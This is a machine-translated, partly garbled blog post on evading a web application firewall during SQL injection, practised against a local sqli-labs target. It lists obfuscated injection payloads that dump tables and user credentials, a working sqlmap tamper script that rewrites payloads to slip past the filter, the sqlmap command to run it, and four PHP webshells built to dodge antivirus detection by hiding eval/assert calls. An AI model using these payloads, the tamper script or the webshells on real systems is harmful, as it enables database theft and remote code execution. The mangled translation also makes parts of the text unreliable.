Напишите и измените sqlmap в Python, чтобы обойти _WAF.

Обход WAF

1 Понимание механизма waf

1.1 инструмент идентификации брандмауэра waf
https://github.com/EnableSecurity/wafw00f

https://github.com/stamparm/identywaf

Вставьте сюда описание изображения

Вставьте сюда описание изображения

1.2 Краткое описание механизма WAF и методов обхода: сводный адрес ссылки на обход WAF
1.3 Способ обхода waf (охранной собаки)

​ 1 Грязные данные; 2 Преобразование регистра; 3 Двойное написание; 4 Встроенные комментарии (/*!или 1=1 */) плюс! Вы можете выполнить инструкции внутри

2 Обход формата анализа-замены

and  --》 /*!14400and*/

order by --》 /**/order/*/%0a*a*/by/**/

union select  --》union/*!88888cas*/%a0/*/*!=*/select/**/

union all select  --》  union/*!88888cas*//*/%0a*a*/select/**/

database( )  --》 database(/*!/*/**%0ftest*/*/)

from information schema.schemata --》 /*!from--%0f/*%0ainformation_schema.schemata*/
from information_schema.tables  --》 /*!from--%0f/*%0ainformation_schema.tables*/
from information_schema.columns --》 /*!from--%0f/*%0ainformation_schema.columns*/

Возьмем, http://192.168.225.166/sqli-labs/Less-1/к примеру:

?id=1' --+
?id=2' --+
?id=2' /*!14400and*/ 1=1 --+
?id=2' /*!14400and*/ 1=2 --+
?id=2' /**/order/*/%0a*a*/by/**/ 4 --+
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,3 --+

?id=1' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,database(/*!/*/**%0fTEST*/*/),3 --+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where table_schema=database(/*!/*/**%0f*/*/) --+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where table_schema=database(/*!/*/**%0f*/*/) /*!14400and*/ table_name='users'--+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,count(*) /*!from--%0f/*%0ausers*/--+

?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,concat(username,0x3a,password) /*!from--
%0f/*%0ausers*/ limit 1,1--+

3. Напишите скрипт py для обхода охранной собаки

Напишите скрипт saf_bypass.py

#!/usr/bin/env python

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST
def dependencies():
     pass
def tamper(payload, **kwargs):
     payload = re.sub(r"(?i)and", "/*!14400and*/", payload)
     payload = re.sub(r"(?i)order by", "/**/order/*/%0a*a*/by/**/", payload)
     payload = re.sub(r"(?i)union select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)
     payload = re.sub(r"(?i)union all select", "union/*!88888cas*//*/%0a*a*/select/**/", payload)
     payload = re.sub(r"(?i)from information_schema.schemata", "/*!from--%0f/*%0ainformation_schema.schemata*/",
                      payload)
     payload = re.sub(r"(?i)from information_schema.tables", "/*!from--%0f/*%0ainformation_schema.tables*/",
                      payload)
     payload = re.sub(r"(?i)from information_schema.columns", "/*!from--%0f/*%0ainformation_schema.columns*/",
                      payload)
     payload = re.sub(r"(?i)database\(\)", "database(/*!/*/**%0fAJEST*/*/)", payload)
     payload = re.sub(r"(?i)count\(*\)", "count(1)", payload)
     payload = re.sub(r"(?i) as", " /*!14400as*/", payload)
     payload = re.sub(r"(?i)char", "/*!14400char*/", payload)
     return payload
3.1 Запускаем подготовленный скрипт
python splmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-1/?id=1" --tamper saf_bypass -v3
3.1.1 Просмотр детализации уровня v3 в команде не работает, используйте v4
-v3 表示以详细程度 3 输出信息,其中 1 表示最低程度的输出,4 表示默认值,5 表示最高程度的输出。如果不指定 -v 参数,默认的输出详细程度是 1。
3.1.2 Используйте v4sqlmap для сканирования информации заголовка и проверки конфиденциальных заголовков sqlmap. Вы можете использовать --random-agent.

Вставьте сюда описание изображения
Вставьте сюда описание изображения

3.1.3 Используйте эту команду

Вставьте сюда описание изображения
Вставьте сюда описание изображения

3.1.4 Попробуйте модуль командного совместного запроса (безуспешно)

Вставьте сюда описание изображения

Вставьте сюда описание изображения

4. Одно предложение, чтобы не убить троянов

Пример1

<?php
    $ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');
    $ajest($_REQUEST[777]);
?>

Пример2

<?php
    class Bypass{
         public $name;
         public $male;
         function __destruct(){
             $a = $this->name;
             $a($this->male);
     }
}
unserialize($_POST['ajest']);
//ajest=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:20:"eval($_REQUEST["x"])";}
?>

Пример3

<?php
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple");
function test_alter(&$item1, $key, $prefix)
{
	$item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{
	echo "$key. $item2<br />\n";
}
echo "Before ...:\n";
array_walk($fruits, 'test_print');
$a =array_keys($fruits);
print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['ajest'];
@$q($r);
?>

Пример4

<?php
    $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
    $b='_'.'P'.'O'.'S'.'T';
    $c=$$b;
    $a($c['x']);
?>

Supongo que te gusta

Origin blog.csdn.net/weixin_42786460/article/details/133435580
Recomendado
Clasificación